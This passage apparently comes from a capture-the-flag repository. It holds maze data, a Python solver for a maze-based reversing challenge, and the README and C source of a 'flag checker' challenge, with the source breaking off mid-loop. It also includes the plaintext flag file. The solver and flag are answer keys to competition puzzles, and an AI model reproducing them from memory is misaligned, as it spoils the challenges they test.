3, 12, 5, 5, 9, 10, 12, 9, 10, 10, 8, 6, 3, 6, 5, 9, 10, 6, 9, 12, 5, 5, 5, 5, 9, 10, 12, 5, 9, 10, 4, 9, 10, 12, 13, 3, 12, 3, 6, 1, 12, 3, 10, 10, 6, 13, 5, 11, 12, 5, 3, 10, 12, 7, 9, 4, 7, 9, 12, 3, 12, 7, 5, 5, 3, 14, 1, 6, 9, 10, 6, 9, 12, 13, 5, 3, 12, 11, 6, 5, 5, 5, 5, 3, 6, 13, 3, 6, 5, 13, 3, 6, 13, 5, 3, 10, 2, 10, 10, 6, 3, 10, 10, 12, 11, 4, 5, 9, 4, 1, 10, 14, 3, 12, 5, 7, 9, 6, 5, 13, 3, 10, 6, 3, 10, 12, 3, 14, 3, 10, 12, 5, 5, 3, 4, 9, 2, 10, 8, 6, 5, 7, 5, 9, 10, 2, 10, 12, 3, 4, 11, 8, 4, 3, 10, 10, 140, 11, 10, 10, 12, 9, 12, 1, 10, 6, 5, 5, 5, 3, 10, 12, 9, 6, 3, 10, 2, 14, 5, 1, 10, 10, 8, 10, 14, 3, 10, 10, 10, 12, 3, 4, 3, 12, 5, 5, 9, 12, 7, 9, 4, 9, 6, 5, 13, 9, 10, 4, 13, 5, 9, 6, 5, 11, 10, 12, 3, 10, 10, 12, 3, 4, 5, 5, 9, 10, 6, 5, 5, 9, 10, 4, 3, 12, 9, 10, 12, 9, 6, 5, 13, 9, 4, 9, 10, 10, 10, 8, 12, 3, 12, 3, 14, 5, 5, 5, 5, 3, 10, 6, 5, 5, 9, 6, 5, 3, 12, 3, 6, 3, 6, 13, 3, 10, 12, 1, 8, 10, 12, 3, 12, 7, 3, 6, 5, 11, 8, 6, 5, 5, 11, 4, 13, 3, 6, 13, 3, 6, 13, 3, 4, 5, 5, 3, 8, 10, 14, 5, 3, 14, 5, 9, 10, 6, 7, 5, 5, 11, 12, 9, 6, 1, 6, 11, 0, 12, 3, 10, 8, 12, 13, 1, 10, 12, 5, 5, 5, 11, 6, 9, 6, 9, 10, 10, 6, 9, 6, 13, 5, 3, 12, 3, 2, 10, 10, 2, 10, 12, 3, 10, 6, 5, 7, 9, 6, 9, 12, 5, 9, 10, 6, 1, 12, 9, 10, 6, 3, 12, 3, 4, 13, 3, 10, 12, 5, 3, 14, 9, 6, 3, 4, 5, 13, 3, 6, 5, 5, 9, 8, 6, 9, 6, 9, 10, 10, 6, 9, 6, 5, 9, 6, 9, 10, 10, 8, 10, 14, 3, 10, 10, 10, 4, 9, 6, 13, 5, 1, 6, 5, 9, 10, 6, 5, 5, 11, 8, 12, 3, 12, 3, 6, 13, 9, 6, 3, 10, 12, 5, 9, 14, 5, 5, 3, 10, 10, 6, 5, 5, 7, 9, 6, 9, 4, 9, 14, 9, 2, 10, 6, 5, 11, 2, 12, 11, 6, 9, 10, 10, 10, 10, 10, 6, 3, 12, 5, 5, 5, 9, 6, 3, 12, 9, 6, 5, 9, 6, 3, 12, 5, 9, 12, 5, 5, 11, 8, 12, 5, 5, 1, 10, 6, 3, 10, 10, 10, 12, 5, 3, 10, 6, 13, 5, 5, 3, 12, 5, 9, 10, 12, 3, 10, 12, 5, 9, 12, 5, 11, 10, 8, 12, 11, 8, 14, 5, 5, 5, 7, 5, 9, 10, 6, 3, 10, 2, 6, 9, 14, 5, 3, 6, 5, 1, 2, 10, 6, 5, 5, 5, 3, 10, 12, 9, 14, 9, 10, 6, 1, 10, 12, 9, 2, 6, 5, 9, 6, 3, 6, 9, 6, 13, 9, 6, 5, 5, 3, 2, 10, 8, 6, 3, 10, 4, 9, 6, 5, 3, 12, 5, 3, 12, 9, 10, 12, 9, 12, 3, 12, 5, 9, 14, 5, 5, 13, 9, 12, 5, 5, 5, 9, 12, 5, 3, 12, 3, 10, 10, 6, 13, 5, 3, 12, 9, 6, 3, 10, 10, 12, 5, 9, 6, 5, 9, 2, 6, 9, 10, 12, 7, 9, 12, 9, 6, 3, 10, 2, 12, 3, 6, 11, 4, 3, 14, 5, 5, 3, 12, 3, 2, 6, 9, 4, 3, 4, 5, 5, 3, 6, 3, 6, 5, 3, 10, 4, 9, 10, 8, 14, 1, 6, 13, 5, 3, 10, 12, 9, 12, 5, 3, 4, 9, 6, 3, 10, 12, 3, 12, 147, 10, 6, 5, 7, 9, 10, 8, 12, 3, 10, 10, 12, 3, 8, 10, 6, 5, 13, 5, 9, 10, 10, 6, 5, 9, 6, 5, 3, 8, 10, 10, 12, 5, 11, 12, 5, 3, 14, 5, 9, 6, 9, 4, 3, 12, 13, 3, 6, 5, 5, 9, 6, 3, 12, 9, 12, 5, 13, 5, 9, 10, 14, 5, 9, 6, 9, 6, 5, 9, 12, 13, 5, 11, 4, 9, 10, 4, 3, 2, 6, 9, 12, 9, 6, 3, 12, 3, 12, 7, 9, 12, 3, 6, 9, 6, 3, 10, 8, 6, 3, 12, 5, 3, 12, 5, 1, 12, 9, 6, 5, 3, 10, 12, 3, 6, 5, 3, 6, 5, 1, 10, 12, 3, 6, 13, 3, 12, 5, 5, 3, 6, 3, 12, 7, 3, 12, 7, 9, 10, 12, 7, 1, 6, 13, 13, 5, 13, 3, 10, 6, 5, 13, 9, 2, 8, 14, 9, 6, 9, 10, 6, 3, 12, 5, 3, 4, 7, 5, 9, 2, 10, 10, 4, 9, 8, 6, 9, 10, 6, 3, 12, 3, 12, 9, 2, 12, 5, 3, 6, 9, 10, 12, 5, 9, 10, 6, 9, 2, 14, 1, 12, 3, 10, 4, 5, 3, 2, 12, 9, 12, 5, 5, 1, 14, 3, 10, 2, 12, 3, 12, 11, 10, 164, 1, 12, 5, 9, 6, 5, 9, 10, 12, 7, 5, 7, 9, 6, 9, 10, 10, 6, 13, 3, 2, 14, 5, 5, 9, 12, 5, 13, 3, 6, 5, 9, 10, 6, 9, 12, 7, 5, 11, 12, 5, 1, 8, 14, 3, 6, 5, 5, 3, 6, 9, 12, 9, 12, 5, 13, 3, 10, 12, 7, 5, 7, 5, 3, 12, 7, 3, 12, 3, 12, 3, 12, 3, 12, 1, 10, 10, 10, 2, 10, 14, 9, 6, 3, 6, 3, 6, 1, 8, 10, 6, 3, 12, 9, 6, 3, 10, 6, 9, 6, 5, 7, 5, 9, 10, 12, 5, 3, 10, 10, 6, 3, 6, 5, 3, 4, 11, 12, 3, 12, 5, 9, 6, 13, 3, 8, 14, 1, 14, 3, 12, 3, 12, 5, 7, 9, 10, 10, 12, 9, 12, 5, 9, 10, 8, 12, 13, 5, 3, 12, 9, 10, 6, 5, 9, 10, 10, 8, 4, 9, 6, 9, 6, 3, 12, 3, 6, 9, 12, 9, 10, 10, 10, 6, 13, 3, 10, 4, 9, 6, 3, 2, 12, 1, 12, 3, 10, 6, 9, 10, 2, 12, 5, 3, 12, 5, 9, 14, 3, 6, 5, 3, 2, 14, 5, 5, 1, 6, 13, 3, 2, 10, 14, 5, 3, 14, 9, 6, 5, 5, 13, 1, 10, 12, 5, 11, 10, 4, 5, 3, 10, 12, 11, 8, 2, 10, 10, 6, 3, 10, 12, 13, 5, 5, 5, 11, 8, 14, 5, 13, 9, 6, 1, 12, 3, 6, 5, 9, 10, 12, 5, 9, 10, 10, 6, 5, 3, 10, 2, 12, 9, 10, 10, 6, 9, 188, 5, 11, 4, 5, 5, 1, 14, 3, 4, 9, 10, 6, 5, 9, 14, 3, 12, 3, 10, 10, 12, 11, 12, 9, 6, 3, 2, 6, 3, 12, 5, 9, 6, 5, 3, 12, 5, 5, 11, 10, 2, 2, 14, 5, 5, 5, 9, 12, 13, 3, 12, 11, 10, 6, 5, 9, 10, 10, 4, 5, 3, 12, 5, 3, 4, 7, 9, 12, 3, 6, 11, 12, 5, 5, 9, 12, 5, 13, 9, 10, 6, 9, 6, 3, 12, 9, 10, 10, 12, 5, 5, 3, 12, 1, 10, 6, 5, 3, 10, 10, 10, 10, 12, 5, 3, 6, 5, 3, 2, 12, 5, 9, 10, 10, 6, 1, 10, 14, 5, 3, 10, 4, 3, 14, 5, 9, 6, 3, 12, 9, 8, 6, 3, 4, 5, 5, 5, 5, 5, 11, 8, 2, 8, 14, 3, 6, 11, 12, 5, 3, 0, 14, 5, 3, 10, 12, 5, 9, 10, 10, 12, 11, 2, 2, 8, 10, 6, 9, 12, 7, 5, 1, 12, 11, 10, 6, 9, 12, 5, 9, 12, 5, 9, 10, 6, 5, 11, 10, 4, 7, 3, 10, 10, 6, 5, 3, 6, 5, 3, 12, 5, 13, 3, 8, 10, 8, 10, 6, 3, 12, 7, 9, 6, 9, 10, 6, 3, 6, 9, 10, 4, 9, 10, 12, 7, 9, 10, 6, 3, 10, 6, 7, 1, 10, 10, 12, 5, 5, 5, 5, 3, 6, 3, 12, 13, 5, 9, 12, 5, 9, 10, 10, 10, 10, 6, 11, 12, 1, 10, 6, 5, 1, 14, 3, 12, 7, 9, 8, 14, 5, 9, 6, 11, 2, 10, 10, 12, 13, 5, 11, 4, 5, 13, 3, 10, 6, 11, 10, 10, 8, 10, 12, 3, 14, 9, 6, 5, 5, 5, 3, 10, 8, 14, 5, 5, 5, 5, 5, 3, 6, 9, 12, 11, 10, 8, 10, 6, 3, 12, 13, 5, 3, 8, 14, 3, 12, 5, 3, 12, 5, 3, 10, 10, 12, 9, 12, 3, 4, 3, 12, 5, 3, 2, 12, 11, 8, 10, 12, 9, 6, 9, 6, 9, 10, 6, 9, 6, 3, 6, 9, 12, 7, 9, 6, 5, 5, 5, 3, 10, 10, 6, 3, 10, 12, 1, 12, 201, 10, 6, 3, 2, 10, 6, 9, 10, 4, 5, 13, 3, 6, 9, 10, 12, 5, 5, 5, 9, 6, 9, 6, 3, 12, 13, 3, 10, 6, 13, 3, 6, 9, 6, 11, 2, 12, 9, 4, 9, 10, 10, 6, 3, 10, 6, 9, 6, 5, 3, 10, 12, 9, 10, 10, 12, 5, 7, 3, 2, 10, 12, 9, 10, 10, 12, 3, 12, 5, 3, 4, 11, 10, 4, 9, 2, 6, 5, 3, 6, 13, 5, 11, 10, 2, 2, 10, 10, 8, 6, 9, 10, 6, 11, 8, 12, 5, 5, 7, 5, 9, 10, 10, 14, 9, 10, 2, 12, 3, 8, 12, 3, 6, 11, 12, 5, 3, 10, 12, 9, 12, 3, 4, 9, 12, 3, 10, 6, 5, 13, 3, 12, 9, 4, 7, 9, 12, 5, 9, 10, 6, 3, 8, 12, 9, 10, 12, 9, 6, 9, 6, 11, 8, 10, 6, 3, 6, 3, 12, 5, 3, 8, 10, 12, 3, 12, 9, 4, 9, 6, 3, 14, 9, 8, 6, 1, 10, 14, 1, 6, 5, 11, 6, 5, 5, 9, 12, 9, 6, 1, 12, 3, 6, 5, 9, 6, 5, 3, 6, 9, 10, 12, 7, 5, 3, 12, 3, 6, 13, 5, 11, 8, 6, 11, 10, 10, 8, 10, 4, 3, 12, 3, 14, 3, 10, 6, 5, 5, 5, 9, 12, 9, 6, 3, 10, 6, 9, 12, 3, 14, 1, 12, 9, 6, 5, 7, 3, 2, 10, 6, 5, 13, 9, 6, 5, 11, 2, 10, 10, 4, 11, 2, 218, 6, 13, 5, 9, 10, 4, 3, 10, 6, 9, 10, 10, 10, 6, 9, 6, 13, 3, 10, 10, 10, 10, 10, 6, 5, 1, 6, 5, 3, 12, 13, 9, 10, 6, 3, 10, 12, 7, 3, 2, 14, 1, 10, 10, 10, 10, 12, 3, 4, 5, 13, 3, 10, 10, 10, 12, 7, 9, 10, 10, 12, 3, 2, 6, 13, 3, 12, 9, 12, 5, 9, 8, 10, 12, 5, 9, 2, 10, 8, 8, 10, 10, 10, 14, 5, 3, 14, 1, 12, 5, 5, 5, 9, 12, 9, 14, 5, 9, 10, 10, 12, 7, 9, 12, 9, 12, 3, 12, 7, 3, 4, 9, 10, 14, 9, 6, 9, 6, 9, 14, 3, 12, 9, 8, 0, 14, 5, 5, 3, 6, 5, 3, 12, 5, 5, 7, 9, 12, 7, 5, 9, 10, 12, 9, 6, 9, 8, 6, 7, 3, 4, 3, 6, 5, 1, 12, 1, 6, 11, 8, 2, 10, 6, 3, 6, 3, 12, 3, 12, 9, 6, 3, 12, 9, 6, 9, 6, 11, 2, 8, 12, 5, 7, 5, 7, 9, 6, 1, 10, 12, 3, 12, 5, 7, 3, 10, 6, 3, 12, 1, 6, 9, 6, 5, 13, 5, 7, 9, 12, 9, 2, 14, 9, 6, 5, 3, 6, 9, 12, 5, 9, 10, 12, 9, 10, 14, 5, 9, 6, 3, 10, 10, 4, 5, 9, 6, 9, 10, 10, 6, 5, 3, 12, 3, 10, 2, 12, 3, 14, 3, 12, 7, 5, 9, 10, 12, 9, 12, 5, 7, 9, 6, 9, 6, 5, 3, 10, 6, 3, 2, 14, 9, 6, 13, 5, 13, 9, 6, 5, 7, 5, 13, 5, 5, 9, 10, 6, 1, 10, 10, 8, 14, 5, 5, 3, 12, 5, 9, 10, 14, 5, 13, 3, 10, 12, 11, 2, 12, 9, 10, 6, 9, 6, 5, 13, 3, 6, 5, 3, 10, 4, 9, 6, 9, 4, 9, 10, 10, 10, 10, 12, 1, 12, 3, 2, 6, 1, 14, 5, 9, 2, 6, 5, 5, 3, 12, 11, 0, 10, 14, 5, 9, 6, 3, 12, 3, 6, 3, 12, 9, 6, 3, 8, 12, 5, 9, 12, 5, 5, 9, 10, 2, 10, 6, 3, 8, 14, 3, 10, 12, 5, 5, 11, 4, 5, 5, 11, 8, 10, 10, 6, 5, 3, 10, 10, 10, 6, 9, 4, 1, 14, 9, 6, 1, 14, 3, 12, 7, 9, 10, 4, 5, 9, 14, 3, 10, 8, 10, 6, 3, 12, 9, 6, 5, 3, 6, 5, 1, 6, 3, 10, 10, 12, 9, 10, 6, 9, 8, 14, 3, 6, 3, 12, 5, 5, 1, 12, 3, 10, 12, 11, 2, 10, 10, 14, 9, 8, 6, 7, 5, 9, 6, 11, 2, 10, 10, 2, 10, 6, 11, 6, 5, 5, 9, 10, 12, 3, 10, 10, 12, 3, 6, 9, 6, 13, 9, 6, 7, 9, 12, 9, 12, 5, 3, 10, 10, 4, 3, 10, 12, 9, 10, 6, 5, 7, 7, 5, 9, 12, 5, 9, 10, 12, 9, 10, 6, 5, 9, 10, 6, 3, 10, 10, 12, 9, 10, 12, 9, 12, 9, 12, 5, 5, 5, 13, 3, 12, 9, 12, 5, 9, 12, 3, 10, 4, 3, 10, 10, 6, 5, 5, 5, 3, 10, 10, 12, 7, 9, 10, 6, 3, 10, 236, 3, 12, 9, 6, 5, 7, 5, 5, 13, 3, 6, 9, 14, 5, 3, 12, 9, 10, 10, 12, 3, 6, 9, 6, 5, 3, 6, 3, 6, 1, 2, 6, 9, 6, 5, 5, 3, 6, 1, 10, 14, 5, 9, 10, 12, 9, 6, 7, 3, 8, 10, 12, 3, 8, 6, 9, 10, 10, 12, 3, 12, 5, 1, 12, 3, 8, 6, 5, 1, 10, 14, 1, 10, 2, 14, 5, 5, 9, 12, 3, 10, 12, 3, 10, 6, 11, 10, 8, 12, 7, 9, 12, 5, 9, 6, 3, 12, 9, 6, 9, 12, 3, 6, 13, 5, 3, 12, 9, 12, 5, 9, 4, 9, 6, 9, 6, 9, 12, 1, 14, 5, 5, 5, 3, 12, 3, 12, 5, 3, 8, 10, 6, 9, 10, 10, 6, 3, 6, 3, 12, 13, 5, 9, 10, 10, 8, 10, 6, 3, 10, 6, 5, 5, 3, 12, 11, 2, 6, 9, 6, 3, 10, 10, 4, 3, 12, 5, 5, 5, 7, 5, 7, 5, 9, 2, 14, 5, 5, 3, 12, 5, 5, 1, 14, 5, 13, 5, 3, 12, 5, 9, 10, 6, 11, 10, 8, 10, 12, 11, 2, 6, 5, 5, 9, 10, 6, 11, 10, 8, 14, 9, 6, 1, 12, 3, 10, 12, 9, 6, 9, 8, 10, 12, 3, 12, 5, 3, 6, 3, 12, 5, 9, 6, 5, 13, 9, 6, 3, 10, 6, 3, 4, 5, 9, 6, 3, 0, 10, 6, 7, 5, 9, 10, 10, 10, 6, 13, 3, 12, 9, 12, 3, 6, 5, 9, 8, 10, 12, 3, 12, 3, 12, 5, 3, 10, 14, 3, 6, 9, 6, 5, 13, 3, 12, 5, 3, 12, 9, 12, 5, 3, 6, 9, 6, 5, 3, 10, 10, 10, 10, 10, 6, 5, 3, 10, 12, 7, 9, 10, 10, 6, 3, 12, 9, 8, 12, 3, 12, 5, 5, 3, 12, 9, 6, 5, 5, 11, 2, 10, 4, 13, 5, 5, 9, 10, 10, 10, 10, 6, 9, 6, 5, 9, 6, 1, 12, 5, 7, 5, 3, 10, 10, 6, 9, 4, 9, 8, 14, 9, 8, 12, 13, 3, 12, 9, 6, 9, 6, 13, 9, 8, 10, 6, 7, 5, 3, 10, 4, 5, 3, 12, 5, 5, 11, 4, 3, 12, 9, 10, 2, 6, 5, 5, 3, 8, 14, 9, 10, 10, 6, 9, 2, 6, 9, 6, 5, 3, 12, 1, 8, 10, 10, 10, 6, 5, 5, 3, 10, 6, 5, 5, 5, 9, 6, 3, 12, 5, 9, 6, 5, 5, 9, 10, 12, 5, 9, 12, 7, 3, 10, 6, 5, 1, 12, 5, 9, 6, 7, 9, 12, 9, 6, 1, 10, 6, 9, 6, 9, 12, 13, 5, 11, 12, 5, 13, 3, 12, 5, 7, 1, 12, 9, 12, 9, 6, 3, 14, 9, 12, 5, 3, 4, 3, 12, 9, 4, 5, 3, 10, 6, 3, 2, 14, 5, 5, 5, 3, 8, 12, 13, 9, 6, 7, 5, 5, 3, 10, 12, 5, 3, 6, 11, 2, 10, 14, 5, 11, 4, 5, 5, 5, 9, 4, 5, 3, 10, 6, 3, 12, 7, 3, 4, 5, 3, 10, 12, 9, 6, 5, 5, 9, 6, 9, 6, 5, 7, 3, 12, 9, 10, 10, 12, 9, 6, 1, 6, 9, 6, 3, 6, 3, 10, 12, 5, 5, 13, 9, 6, 3, 10, 10, 10, 12, 9, 10, 6, 9, 6, 3, 6, 3, 6, 5, 3, 12, 9, 10, 12, 3, 10, 12, 7, 3, 12, 13, 5, 5, 9, 6, 5, 3, 12, 3, 14, 3, 10, 10, 2, 6, 11, 10, 2, 6, 11, 2, 14, 3, 10, 10, 10, 10, 10, 2, 6, 3, 6, 3, 10, 10, 10, 10, 10, 2, 6, 11, 10, 2, 10, 10, 10, 10, 10, 2, 14, 3, 2, 14, 243, 10, 10, 2, 10, 10, 6, 3, 2, 6, 3, 10, 6, 11, 6]\n"
  },
  {
    "path": "rev/connect-the-dots/solve/solve.py",
    "content": "from maze_data import MAZE_WIDTH, MAZE_HEIGHT, DOTS_DATA, MAZE_DATA\nfrom itertools import permutations\n\ndef prod(arr, n):\n    p = 1\n    for a in arr:\n        p *= a\n        p %= n\n    return p\n\n\"\"\"\n1. figure out the correct order of dots to get the goal to be 0xff\n2. bfs to find path to each dot in the correct order\n\"\"\"\n\nMOVES = {\n    'WEST': (-1, 'h', 0b0001),\n    'EAST': (1,  'l', 0b0100),\n    'SOUTH': (MAZE_WIDTH, 'j', 0b0010),\n    'NORTH': (-MAZE_WIDTH, 'k', 0b1000)\n}\n\ndef get_neighbours(maze, pos):\n    neighbours = []\n    for m in MOVES:\n        dpos, move_char, data_mask = MOVES[m]\n        new_pos = pos + dpos\n        if 0 <= new_pos < len(maze) and (maze[pos] & data_mask == 0):\n            neighbours.append((new_pos, move_char))\n    return neighbours\n\ndef bfs(maze, start, goal):\n    visited = {start}\n    parents = {}\n    Q = [start]\n    while len(Q):\n        v = Q.pop(0)\n        if v == goal:\n            return reconstruct_path(parents, goal)\n        for neighbour, move in get_neighbours(maze, v):\n            if neighbour in visited:\n                continue\n            visited.add(neighbour)\n            parents[neighbour] = (v, move)\n            Q.append(neighbour)\n\ndef reconstruct_path(parents, goal):\n    path = []\n    moves = []\n    while goal in parents:\n        moves.insert(0, parents[goal][1])\n        path.insert(0, goal)\n        goal = parents[goal][0]\n    path.insert(0, goal)\n    return path, ''.join(moves)\n\ndef get_dot_locations_and_idx(maze):\n    dot_locations = []\n    for i, p in enumerate(maze):\n        if p & 0b10000000:\n            x = i % MAZE_WIDTH\n            y = i // MAZE_HEIGHT\n            dot_idx = (p >> 4) & 0b111\n            dot_locations.append((x, y))\n    return dot_locations\n\n# naive but feasible\ndef get_dot_ordering(dot_data_):\n    dot_data = list(enumerate(dot_data_))\n    for perm in permutations(dot_data):\n        state = 0\n        for _, z in perm:\n            state &= (z >> 8)\n            state ^= (z & 0xff)\n        if state == 0xff:\n            return [i for i, _ in perm]\n\ndot_locs = get_dot_locations_and_idx(MAZE_DATA)\nwin_dot_ordering = get_dot_ordering(DOTS_DATA)\n\nprint('dot_locations:', dot_locs)\nprint('dot_ordering:', win_dot_ordering)\n\ncheckpoints = [dot_locs[i] for i in win_dot_ordering]\ncheckpoints = [x + MAZE_WIDTH*y for x, y in checkpoints]\nwin_moves = ''\ncur_pos = 0\nfor c in checkpoints:\n    _, moves = bfs(MAZE_DATA, cur_pos, c)\n    cur_pos = c\n    win_moves += moves + 'x'\n\nprint('win_moves:', win_moves)\n\nkey = [win_moves[i:i+81] for i in range(0, len(win_moves)-2, 81)]\nkey = [prod(w.encode(), 0xff) for w in key]\nprint('key:', list(key))\n\nct = [184, 64, 13, 26, 252, 53, 44, 60, 181, 51, 222, 15, 102, 86, 225, 60, 179, 244, 161, 3, 99, 198, 139, 217, 105, 244, 215, 157, 161, 163, 216, 244, 48, 247, 150, 164, 240, 237, 200, 234, 153, 108, 162, 113]\nflag = bytes([c^k for c,k in zip(ct, key)])\nprint('flag:', flag.decode())\n"
  },
  {
    "path": "rev/flag-checker/README.md",
    "content": "# flag checker\n\n**Category:** reversing\n\n**Difficulty:** medium-hard\n\n**Author:** joseph#8210\n\nWhat more could you ask for than a program that checks the flag for you? Just guess and check and eventually the flag will be yours!\n\n**Attached files:**\n- ./challenge/flag_checker (sha256: a1e8ef2b2f1d5985ca73d029f207dd86e56d52f1d48a7f6d290c311ff5fb58a1)\n"
  },
  {
    "path": "rev/flag-checker/challenge/flag.txt",
    "content": "DUCTF{rev3rs1bl3___and___1nv3rtibl3}\n"
  },
  {
    "path": "rev/flag-checker/challenge/flag_checker.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include \"offsets.h\"\n\n#define MAX_NUM_CHILDREN 5\n#define BLOCK_SIZE 36\n#define NUM_NODES 256\n#define NUM_ROUNDS 16\n\nstruct node {\n\tunsigned char value;\n\tstruct node** children;\n};\n\ntypedef struct node node_t;\n\nunsigned int s;\n\nvoid _srand(unsigned int x) {\n\ts = x;\n}\n\nunsigned int _rand() {\n\ts = s * 0x9157131 + 0x44799011;\n\treturn s;\n}\n\nvoid init() {\n\tsetvbuf(stdout, 0, 2, 0);\n\tsetvbuf(stdin, 0, 2, 0);\n}\n\nnode_t* generate(unsigned char* buf) {\n\t_srand(0x1337);\n\n\tnode_t** leaves = (node_t**) calloc(MAX_NUM_CHILDREN * NUM_NODES, sizeof(node_t*));\n\tnode_t* root = (node_t*) malloc(sizeof(node_t));\n\tleaves[0] = root;\n\n\tint cur_len = 1;\n\tint i;\n\n\tfor(i = 0; i < NUM_NODES; i++) {\n\t\t// get head of queue\n\t\tnode_t* cur = leaves[i];\n\n\t\tint num_children = (_rand() % MAX_NUM_CHILDREN);\n\n\t\t// you are a leaf\n\t\tif(num_children == 0) continue;\n\n\t\t// add random number of children to queue\n\t\tnode_t** children = (node_t**) calloc(num_children, sizeof(node_t*));\n\t\tfor(int j = 0; j < num_children; j++) {\n\t\t\tnode_t* child = (node_t*) malloc(sizeof(node_t));\n\t\t\tchildren[j] = child;\n\t\t\tleaves[cur_len++] = child;\n\t\t}\n\t\tcur->children = children;\n\n\t\t// nullify array entry\n\t\tleaves[i] = NULL;\n\t}\n\n\t// add values to leaves\n\tfor(i = 0; i < cur_len; i++) {\n\t\tif(leaves[i] == NULL) continue;\n\t\tleaves[i]->value = buf[_rand() % BLOCK_SIZE];\n\n\t\t// 👀\n\t\t/* int c = _rand() % BLOCK_SIZE; */\n\t\t/* unsigned int offset = (unsigned int)((long)leaves[i] - (long)root); */\n\t\t/* printf(\"%03d | offset: %04x, value: %d\\n\", i, offset, c); */\n\t\t/* printf(\"#define OFFSET_FOR_%02d_%d 0x%x\\n\", c, i, offset); */\n\t}\n\n\treturn root;\n}\n\nvoid permute(unsigned char* input, node_t* root) {\n\tinput[0]  = *(unsigned char*)((unsigned long)root + OFFSET_FOR_23_216);\n\tinput[1]  = *(unsigned char*)((unsigned long)root + OFFSET_FOR_16_500);\n\tinput[2]  = *(unsigned char*)((unsigned long)root + OFFSET_FOR_19_19);\n\tinput[3]  = *(unsigned char*)((unsigned long)root + OFFSET_FOR_12_37);\n\tinput[4]  = *(unsigned char*)((unsigned long)root + OFFSET_FOR_31_271);\n\tinput[5]  = *(unsigned char*)((unsigned long)root + OFFSET_FOR_24_284);\n\tinput[6]  = *(unsigned char*)((unsigned long)root + OFFSET_FOR_17_281);\n\tinput[7]  = *(unsigned char*)((unsigned long)root + OFFSET_FOR_22_482);\n\tinput[8]  = *(unsigned char*)((unsigned long)root + OFFSET_FOR_13_257);\n\tinput[9]  = *(unsigned char*)((unsigned long)root + OFFSET_FOR_18_127);\n\tinput[10] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_25_24);\n\tinput[11] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_30_30);\n\tinput[12] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_09_417);\n\tinput[13] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_02_17);\n\tinput[14] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_11_259);\n\tinput[15] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_04_412);\n\tinput[16] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_33_154);\n\tinput[17] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_26_302);\n\tinput[18] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_03_117);\n\tinput[19] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_08_121);\n\tinput[20] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_05_377);\n\tinput[21] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_10_294);\n\tinput[22] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_27_132);\n\tinput[23] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_32_166);\n\tinput[24] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_21_104);\n\tinput[25] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_14_402);\n\tinput[26] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_35_161);\n\tinput[27] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_28_316);\n\tinput[28] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_07_263);\n\tinput[29] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_00_219);\n\tinput[30] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_15_503);\n\tinput[31] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_20_260);\n\tinput[32] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_29_172);\n\tinput[33] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_34_414);\n\tinput[34] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_01_301);\n\tinput[35] = *(unsigned char*)((unsigned long)root + OFFSET_FOR_06_258);\n}\n\nunsigned char m2(unsigned char b) {\n\treturn (b << 1) ^ (((b >> 7) & 1) * 0x1b);\n}\n\nvoid mix_column(unsigned char* input, int idxs[]) {\n\tunsigned char b0, b1, b2, b3, b4, b5;\n\tunsigned char d0, d1, d2, d3, d4, d5;\n\tb0 = input[idxs[0]];\n\tb1 = input[idxs[1]];\n\tb2 = input[idxs[2]];\n\tb3 = input[idxs[3]];\n\tb4 = input[idxs[4]];\n\tb5 = input[idxs[5]];\n\td0 = b0 ^ m2(b0) ^ b2 ^ m2(b2) ^ (m2(b4));\n\td1 = b1 ^ m2(b1) ^ b3 ^ m2(b3) ^ (m2(b5));\n\td2 = m2(b0) ^ b4;\n\td3 = m2(b1) ^ b5;\n\td4 = b0 ^ m2(b0) ^ m2(b2);\n\td5 = b1 ^ m2(b1) ^ m2(b3);\n\tinput[idxs[0]] = d0;\n\tinput[idxs[1]] = d1;\n\tinput[idxs[2]] = d2;\n\tinput[idxs[3]] = d3;\n\tinput[idxs[4]] = d4;\n\tinput[idxs[5]] = d5;\n}\n\nvoid mix(unsigned char* input) {\n\tint c0[6] = {0, 1, 2, 6, 12, 18};\n\tint c1[6] = {3, 4, 5, 11, 17, 23};\n\tint c2[6] = {7, 8, 9, 13, 14, 15};\n\tint c3[6] = {10, 16, 22, 28, 29, 35};\n\tint c4[6] = {19, 20, 24, 25, 26, 30};\n\tint c5[6] = {21, 27, 31, 32, 33, 34};\n\tmix_column(input, c0);\n\tmix_column(input, c1);\n\tmix_column(input, c2);\n\tmix_column(input, c3);\n\tmix_column(input, c4);\n\tmix_column(input, c5);\n}\n\nvoid die() {\n\tputs(\"Incorrect :(\");\n\texit(1);\n}\n\nunsigned char final[BLOCK_SIZE] = {0x0f, 0x4f, 0x73, 0x3c, 0x41, 0xc6, 0xa4, 0xaf, 0xb4, 0x41, 0xd6, 0x65, 0xc8, 0x99, 0xaa, 0xb3, 0x6c, 0x99, 0x61, 0x3c, 0x4e, 0xdd, 0x70, 0x46, 0x15, 0x66, 0x3c, 0x1b, 0x7f, 0x16, 0xa6, 0x6f, 0x23, 0x13, 0x12, 0x6e};\n\nint main() {\n\tinit();\n\tunsigned char input[BLOCK_SIZE+1];\n\n\tprintf(\"What's the flag?: \");\n\tfgets((char*)input, sizeof(input), stdin);\n\tif(strlen((char*)input) != BLOCK_SIZE) {\n\t\tdie();\n\t}\n\n\tfor(int i = 0; i < NUM_ROUNDS; i++) 